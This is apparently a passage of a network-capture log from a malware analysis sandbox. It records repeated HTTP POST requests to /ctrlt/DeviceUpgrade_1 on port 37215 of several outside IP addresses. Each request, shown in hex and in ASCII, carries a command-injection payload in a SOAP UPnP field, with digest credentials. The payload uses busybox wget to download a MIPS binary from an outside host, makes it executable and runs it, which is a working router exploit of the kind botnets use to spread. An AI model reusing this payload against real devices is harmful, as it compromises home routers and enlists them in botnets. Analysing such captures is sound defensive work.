Jan 22, 2024 04:00:08.300671101 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:10.088483095 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:13.660562038 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:20.812599897 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:35.116554022 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:03.724643946 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.20	41376	197.234.43.115	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:09.337519884 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.20	48506	154.194.173.193	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:09.555788040 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.20	43878	156.247.22.217	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:15.264985085 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
